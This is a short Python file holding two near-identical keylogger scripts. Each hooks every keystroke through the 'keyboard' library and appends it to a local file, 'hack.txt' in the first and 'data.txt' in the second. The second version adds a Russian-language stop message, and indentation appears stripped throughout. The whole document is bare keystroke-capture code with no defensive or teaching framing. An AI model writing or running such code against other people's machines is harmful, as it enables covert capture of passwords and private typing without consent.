import keyboard
def print_pressed_keys(e):
save = open('hack.txt', 'a')
save.write(str(e) + ' ' + str(e.name)+"\n")
keyboard.hook(print_pressed_keys)
keyboard.wait()
from time import sleep
import keyboard
def print_pressed_keys(event):
with open('data.txt', 'a') as file:
file.write(f"{event} {event.name}\n")
try:
keyboard.hook(print_pressed_keys)
keyboard.wait()
except KeyboardInterrupt:
print('\nПрограмма остановленна пользователем!')
sleep(1.5)